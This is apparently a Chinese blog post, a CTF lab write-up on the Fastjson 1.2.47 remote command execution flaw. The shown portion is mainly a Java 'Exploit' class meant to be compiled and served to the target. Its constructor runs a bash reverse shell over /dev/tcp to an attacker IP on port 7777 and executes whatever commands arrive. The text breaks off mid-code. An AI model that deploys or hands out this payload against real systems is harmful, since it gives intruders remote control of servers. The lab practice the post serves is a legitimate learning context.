【漏洞靶场】--Fastjson 1.2.47 远程命令执行漏洞

最新推荐文章于 2025-02-28 03:19:59 发布

「已注销」

最新推荐文章于 2025-02-28 03:19:59 发布

阅读量395

点赞数

分类专栏： BMZCTF 文章标签：安全 java linux

本文链接：https://blog.youkuaiyun.com/qq_41152432/article/details/122346154

版权

漏洞环境

在这里插入图片描述

exp准备

将如下Java代码编译成class字节码。

import java.io.BufferedReader;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/IP/7777;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void